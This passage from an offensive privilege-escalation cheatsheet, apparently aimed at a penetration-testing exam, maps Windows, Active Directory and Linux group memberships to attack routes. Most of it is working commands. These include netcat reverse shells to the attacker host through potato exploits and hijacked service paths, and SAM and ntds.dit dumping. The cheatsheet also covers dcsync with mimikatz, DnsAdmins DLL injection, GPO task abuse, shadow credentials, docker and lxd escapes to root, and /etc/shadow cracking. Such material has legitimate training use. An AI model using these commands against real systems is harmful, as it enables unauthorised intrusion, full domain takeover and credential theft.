this exact line means you are a local administrator who logged on from the network and got a filtered token — remote UAC. Only the built-in Administrator escapes it. Come in as RID 500, or get the policy changed from a session that is not filtered

the ways round it
# as the built-in Administrator, if you have that credential:evil-winrm -i $ip -u Administrator -p $adminp# from any elevated session on the box:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f# or an interactive logon — rdp — and then the Medium label entry above:xfreerdp /v:$ip /u:$user1 /p:$pass1 /cert:ignore

IIS APPPOOL\DefaultAppPool [1]exam: likely

the web server's identity, so this is a web shell. It has SeImpersonate — potato. And the web root is writable by it, so the shell survives whatever else you do

the potato, and keep the shell
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"icacls C:\inetpub\wwwroot | findstr /i "apppool iis_iusrs"# the app's own config has the database password:type C:\inetpub\wwwroot\web.config | findstr /i "connectionString password"

BUILTIN\IIS_IUSRS [1]exam: likely

the group every app-pool identity is put in. Seeing it means this is a web shell whatever the user name above it says, and it is the name to look for in icacls on the web root, which is usually writable to it

same as the app pool
whoami /priv | findstr /i impersonateicacls C:\inetpub\wwwroot | findstr /i "iis_iusrs apppool"# the rest is under IIS APPPOOL\DefaultAppPool and SeImpersonatePrivilege

BUILTIN\Administrators [1]exam: likely

local admin. With a High or System label you are done. With Medium, UAC filtered this token and the fix is a shell that was never filtered — the Medium label entry. Nothing else on this page applies to you

which case
whoami /groups | findstr /i mandatory# Medium — come back in:evil-winrm -i $ip -u $user1 -p $pass1# High or System — done:type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

BUILTIN\Backup Operators [4]exam: possible

SeBackupPrivilege and SeRestorePrivilege, and the right to log on to domain controllers locally. Read anything, write anything, on the DC included — both entries under privileges apply. The usual find is the DC's ntds.dit

the hives, wherever you are
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securityimpacket-secretsdump -sam sam -system system -security security LOCAL
from kali, straight to a share
impacket-smbserver x $workdir/loot -smb2supportimpacket-reg "$domain/$user1:$pass1@$dc" backup -o "\\\\$lhost\\x"impacket-secretsdump -sam $workdir/loot/SAM.save -system $workdir/loot/SYSTEM.save -security $workdir/loot/SECURITY.save LOCAL
ntds.dit off the DC

the diskshadow script and the robocopy are under SeBackupPrivilege. The machine account hash out of the SECURITY hive is a domain credential on its own, before you even get to ntds

diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\systemimpacket-secretsdump -ntds ntds.dit -system system LOCAL
write instead
# SeRestorePrivilege, above — a service binary through robocopy /b, or SeRestoreAbuse.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"

BUILTIN\Server Operators [3]exam: possible

on domain controllers only. Log on locally, start and stop services, and change their configuration — which is a service binpath of your choosing, running as SYSTEM, on the DC

repoint a service and start it

pick one that is stopped and set to manual so nothing notices — VSS is the usual. Put the path back after

sc.exe qc VSSsc.exe config VSS binPath= "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"sc.exe start VSSsc.exe config VSS binPath= "C:\Windows\system32\vssvc.exe"
from kali
impacket-services "$domain/$user1:$pass1@$dc" change -name VSS -path "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"impacket-services "$domain/$user1:$pass1@$dc" start -name VSSimpacket-services "$domain/$user1:$pass1@$dc" change -name VSS -path "C:\Windows\system32\vssvc.exe"
then

SYSTEM on the DC is the domain. dcsync from there, or just read the proof

.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:$domain\Administrator" exittype C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

BUILTIN\Account Operators [3]exam: possible

create users and computers, and change any account or group that is not protected by AdminSDHolder and not in Builtin. Domain Admins, the Operators groups and Administrators are out of reach — DnsAdmins and every ordinary service account are not. The quiet route is DnsAdmins

put yourself somewhere useful
net group "DnsAdmins" $user1 /add /domainbloodyAD --host $dc -d $domain -u $user1 -p $pass1 add groupMember DnsAdmins $user1
or take over an account

any user outside the protected groups. A service account with an SPN is a good one — it is usually local admin somewhere

net user svc_sql 'Pass4Pentest1' /domainbloodyAD --host $dc -d $domain -u $user1 -p $pass1 set password svc_sql 'Pass4Pentest1'nxc smb $subnet -u svc_sql -p 'Pass4Pentest1'
then
# new group membership lives in a new ticket — log off and on, or get a fresh TGT. Then the DnsAdmins entryklist purge

BUILTIN\Print Operators [1]exam: rare

on domain controllers — log on locally, and SeLoadDriverPrivilege. Which is the capcom driver and SYSTEM on the DC, if you can build the two binaries

see SeLoadDriverPrivilege
whoami /priv | findstr /i SeLoadDriver.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys && .\ExploitCapcom.exe

BUILTIN\Remote Desktop Users [1]exam: none

rdp in. Not a privesc — but a desktop is what runas, the uac bypasses and the lock-screen swap need, so it changes which entries above apply

use it
xfreerdp /v:$ip /u:$user1 /p:$pass1 /d:$domain /cert:ignore /dynamic-resolution +clipboard /drive:share,$workdir/.tools

BUILTIN\Remote Management Users [1]exam: none

winrm in. Not a privesc — but it is the unfiltered shell the Medium label entry sends you to get, and the one every "come back in" on the cheatsheet means

use it
evil-winrm -i $ip -u $user1 -p $pass1nxc winrm $ip -u $user1 -p $pass1

BUILTIN\Distributed COM Users [1]exam: rare

launch and activate DCOM objects on this host remotely. Together with local admin it is the MMC20 lateral move onto this box; on its own some DCOM applications can still be driven. Rare that it matters

the move it enables
$m = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","$ip2")); $m.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -enc <base64>","7")impacket-dcomexec "$domain/$user1:$pass1@$ip2" -object MMC20

BUILTIN\Event Log Readers [1]exam: rare

read the event logs, the security log included. Process creation events carry the command line when that audit is on, and people type passwords into commands. Logon events tell you where an admin is logged on

read it
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass net user"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 30 TimeCreated,@{n='user';e={$_.Properties[5].Value}},@{n='from';e={$_.Properties[18].Value}}wevtutil qe Security /r:$dc /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "Command Line"

BUILTIN\Hyper-V Administrators [2]exam: rare

full control of the virtual machines on this host. If a domain controller is one of them, its disk is readable from here — mount the vhdx and lift ntds.dit and SYSTEM out of it

find the disks
Get-VM | select Name,StateGet-VMHardDiskDrive * | select VMName,Path
a copy of the disk, then the files

a checkpoint gives you a consistent copy without stopping the VM. Mount it read-only and copy the two files out

Checkpoint-VM -Name DC01 -SnapshotName xMount-VHD -Path "C:\VMs\DC01\Virtual Hard Disks\DC01.vhdx" -ReadOnly -Passthru | Get-Disk | Get-Partition | Get-Volumerobocopy /b E:\Windows\NTDS C:\Windows\Temp\x ntds.ditrobocopy /b E:\Windows\System32\config C:\Windows\Temp\x SYSTEMRemove-VMSnapshot -VMName DC01 -Name x# on kali: impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

BUILTIN\Users, Authenticated Users, Everyone [1]exam: likely

not a privilege — but the names to look for in icacls output. (F) or (M) for any of these on a service binary, its folder, a scheduled task's script or an autorun is the privesc. The services entries on the cheatsheet are built on it

what to grep for
icacls "C:\path\to\service.exe" | findstr /i "users everyone authenticated".\accesschk.exe /accepteula -uwcqv "Authenticated Users" *.\accesschk.exe /accepteula -uwdq "C:\Program Files"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile; Get-ModifiableService; Get-UnquotedService"

docker-users [1]exam: rare

docker on windows. Whoever can talk to the daemon can run a container with the host's drive mounted, which is the host

the host through a container
docker run -it --rm -v C:\:C:\host mcr.microsoft.com/windows/nanoserver:ltsc2022 cmdtype C:\host\Users\Administrator\Desktop\proof.txt

domain

the domain groups that change something, as whoami /groups shows them with the domain in front

Domain Admins, Enterprise Admins, Administrators on the DC [1]exam: likely

you are done. dcsync for the record, proof on every box, screenshots as you go

finish it
impacket-secretsdump "$domain/$adminu:$adminp@$dc" -just-dc-ntlmnxc smb $subnet -u $adminu -p $adminp -X "type C:\Users\Administrator\Desktop\proof.txt; hostname; ipconfig"type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

Domain Users, Domain Computers [1]exam: none

every account, every machine. Domain Users is what rid brute, the Pre-Windows 2000 reads and MachineAccountQuota rest on. Domain Computers means you are a machine account — a SYSTEM shell on a joined box — and its hash is a domain credential

as a machine account
# from SYSTEM on a joined box you are COMPUTER$ to the domain. Enumerate and roast as it.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrap# its hash, for kali — lsadump::secrets prints $MACHINE.ACC.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" exit

Domain Controllers, Enterprise Domain Controllers, Read-only Domain Controllers [1]exam: likely

you are a domain controller's machine account — SYSTEM on the DC. Replication rights come with it, so dcsync as the computer and the domain is done. A read-only DC's account cannot replicate, and is the one case where SYSTEM on a DC is not the end

dcsync as the machine
.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:$domain\krbtgt" exit.\mimikatz.exe "lsadump::dcsync /domain:$domain /user:$domain\Administrator" exit# or take the machine hash from lsadump::secrets and do it from kali as DC01$:impacket-secretsdump -hashes :<machine hash> "$domain/DC01\$@$dc" -just-dc-ntlm

DnsAdmins [3]exam: possible

the DNS service on the DC loads a plugin dll named in its registry, and DnsAdmins can set the name. dns.exe runs as SYSTEM. The dll has to be on the DC itself since the late-2021 patch, and the service needs restarting — which DnsAdmins can usually do, and Server Operators always can

the dll

an adduser dll is quieter than a shell and survives dns.exe exiting. The cheatsheet's dll hijack card has the source

msfvenom -p windows/x64/exec cmd='net localgroup administrators $user1 /add' -f dll -o $workdir/.tools/dns.dllx86_64-w64-mingw32-gcc adduser.c --shared -o $workdir/.tools/dns.dll
get it on the DC, point dns at it, restart dns

a share you can write on the DC, or a UNC path on an unpatched one. The restart is the part that fails when it fails — Server Operators can always do it

copy \\$lhost\share\dns.dll C:\Windows\Temp\dns.dlldnscmd $dc /config /serverlevelplugindll C:\Windows\Temp\dns.dlldnscmd $dc /config /serverlevelplugindll \\$lhost\share\dns.dllsc.exe \\$dc stop dns & sc.exe \\$dc start dns
then, and cleanup

leave the key in place and the DC's DNS breaks at every restart

net group "Domain Admins" /domainevil-winrm -i $dc -u $user1 -p $pass1reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /fsc.exe \\$dc stop dns & sc.exe \\$dc start dns

Group Policy Creator Owners [3]exam: possible

create group policy objects. Creating is not applying — the GPO also has to be linked to an OU, which needs WriteGPLink on the OU, or there is an existing GPO you can edit. Then it is a scheduled task as SYSTEM on every computer the GPO reaches, at the next gpupdate

what can you already edit
Get-DomainGPO | select displayname,gpcfilesyspathGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'Write|GenericAll' -and $_.SecurityIdentifier -eq (Get-DomainUser $user1).objectsid }bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get writable --otype GPO
a task in the GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName x --Author "$domain\$adminu" --Command cmd.exe --Arguments "/c net localgroup administrators $user1 /add" --GPOName "Default Domain Policy"python3 pygpoabuse.py "$domain/$user1:$pass1" -gpo-id <gpo guid> -command 'net localgroup administrators $user1 /add' -dc-ip $ipgpupdate /force
a new GPO, when you can link it
New-GPO -Name x | New-GPLink -Target "OU=Workstations,DC=$(echo $domain | sed 's/\./,DC=/g')"# then the task as above, against GPOName x. The edges are on the bloodhound page — WriteGPLink, and GenericWrite on a GPO

Key Admins, Enterprise Key Admins [1]exam: rare

write msDS-KeyCredentialLink on every user and computer in the domain. That is shadow credentials against any account, the DC's included — a certificate that logs on as them, without touching their password

shadow credentials against anyone
certipy shadow auto -u "$user1@$domain" -p $pass1 -account Administrator -dc-ip $ipcertipy shadow auto -u "$user1@$domain" -p $pass1 -account 'DC01$' -dc-ip $ip# auto prints the NT hash. The rest is AddKeyCredentialLink on the bloodhound page

Exchange Windows Permissions, Organization Management [1]exam: rare

the Exchange groups hold WriteDacl on the domain object. Grant yourself replication rights and dcsync. Exchange is not on the exam, but the groups turn up on boxes built from real-world images

grant dcsync, then dcsync
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 add dcsync $user1impacket-secretsdump "$domain/$user1:$pass1@$dc" -just-dc-ntlmbloodyAD --host $dc -d $domain -u $user1 -p $pass1 remove dcsync $user1

Protected Users [1]exam: none

not a privilege — a restriction, and the reason pass-the-hash is failing for this account. No NTLM, no RC4, no delegation, four-hour tickets. Use kerberos with the password, or a different account

what still works
impacket-getTGT "$domain/$user1:$pass1" -dc-ip $ip && export KRB5CCNAME=$user1.ccacheimpacket-psexec -k -no-pass "$domain/$user1@$dc"

Cert Publishers [1]exam: rare

write to the CA's certificate attributes in AD. In theory a CA certificate of your own in NTAuth, and every logon certificate is forgeable. Slow, rare, and certipy find will have shown an easier template first

look for the easy route first
certipy find -u "$user1@$domain" -p $pass1 -dc-ip $ip -vulnerable -stdout

linux — id

the groups in id output, same idea. Each one here is a route to root on its own — none needs an exploit, and most are one command

uid=0(root) [1]exam: likely

you are root. Proof, then the hashes and keys for the report, then what this box knows about the next one

finish it
cat /root/proof.txt; id; hostname; ip acat /etc/shadow; ls -la /root/.ssh; cat /root/.ssh/id_* 2>/dev/nullcat /root/.bash_history /home/*/.bash_history 2>/dev/null; ip route; cat /etc/hosts

sudo, wheel, admin [2]exam: likely

the group the sudoers file usually points at. It wants your password — which you have if you logged in with one, and do not if you came in through the web app. Then it is sudo -l for a NOPASSWD rule, or password reuse from whatever the box has lying about

what it lets you run
sudo -lsudo -n -lecho '$pass1' | sudo -S -l
no password for this user

the creds-lying-about entries on the cheatsheet. The database password from the web config is this user's password more often than it should be

grep -rEi "pass(word)?|pwd" /var/www /opt /home 2>/dev/null | grep -vE 'Binary|\.js:' | head -40cat ~/.bash_history ~/.mysql_history 2>/dev/null

docker [1]exam: likely

talking to the daemon is root. Mount the host's / into any container and chroot into it

the host through a container
docker imagesdocker run -v /:/mnt --rm -it alpine chroot /mnt shdocker run -v /:/mnt --rm -it <any image listed above> chroot /mnt sh# no image and no internet — import an empty one, it needs no binaries because the host's are mountedtar cv --files-from /dev/null | docker import - empty && docker run -v /:/mnt --rm -it empty chroot /mnt sh

lxd, lxc [2]exam: likely

docker again, with a privileged container. It needs an image, so push a small one from kali when the box has none

a privileged container
lxc image list# on kali: git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine — then serve the tar.gz it makeswget http://$lhost:8000/alpine-v3.18-x86_64.tar.gz -O /tmp/alpine.tar.gzlxc image import /tmp/alpine.tar.gz --alias alpinelxc init alpine c -c security.privileged=truelxc config device add c h disk source=/ path=/mnt/root recursive=truelxc start c && lxc exec c /bin/sh# then: cat /mnt/root/root/proof.txt — or chmod +s /mnt/root/bin/bash and exit
lxd init was never run

"No storage pool found" means it. Defaults are fine

lxd init --auto

disk [1]exam: possible

read and write the block device directly, so the filesystem's permissions never apply. /etc/shadow and root's keys read straight off it

read the disk
df -h /; lsblkdebugfs -R 'cat /etc/shadow' /dev/sda1debugfs -R 'cat /root/.ssh/id_rsa' /dev/sda1debugfs /dev/sda1# inside debugfs: ls /root    cat /root/proof.txt

adm [1]exam: possible

read everything in /var/log. Not root — but auth.log catches a password typed on the wrong line, and the web logs catch them in urls

read the logs
grep -riE 'pass|pwd' /var/log 2>/dev/null | grep -v Binary | head -40grep -hE 'Failed password|Accepted|Invalid user' /var/log/auth.log | tail -40zgrep -hi 'pass' /var/log/apache2/*.gz /var/log/nginx/*.gz 2>/dev/null | head

shadow [1]exam: possible

read /etc/shadow. Crack root's line, and every other account's — a password here is tried everywhere

crack it
cat /etc/shadowunshadow /etc/passwd /etc/shadow > $workdir/loot/unshadowed.mdjohn --wordlist=$rockyou $workdir/loot/unshadowed.mdhashcat -m 1800 $workdir/loot/shadow.md $rockyou

video [1]exam: rare

read the framebuffer — a screenshot of whatever is on the console right now. Someone logged in at the keyboard is sometimes mid-password

a screenshot
cat /dev/fb0 > /tmp/screen.raw; cat /sys/class/graphics/fb0/virtual_size# on kali: open screen.raw in gimp as raw image data, width and height from virtual_size

www-data, apache, nginx, nobody [1]exam: likely

you came in through the web app. Not a group that gets you anything — a user that owns the app's config, and the config has the database password, and the database password is a real user's password more often than not

what this user owns that others cannot read
find / -user $(whoami) -type f -not -path '/proc/*' -not -path '/sys/*' -not -path '/run/*' 2>/dev/null | head -40find /var/www /srv /opt \( -name '*config*' -o -name '.env' -o -name 'wp-config.php' -o -name 'settings.py' \) 2>/dev/null | xargs grep -iE 'pass|secret' 2>/dev/nullmysql -u root -p'<db password>' -e 'select user,authentication_string from mysql.user' 2>/dev/null

staff, users, plugdev, netdev, lpadmin, sambashare, cdrom, dip [1]exam: none

the groups a desktop install hands out. staff can write /usr/local, which is on root's PATH — a binary dropped in /usr/local/bin runs as root the next time a root cron or sudo rule calls that name without a path. The rest are nothing

staff, when something root runs calls a bare name
ls -ld /usr/local/bin /usr/local/sbin# then the cron PATH hijack on the cheatsheet, with /usr/local/bin as the writable directory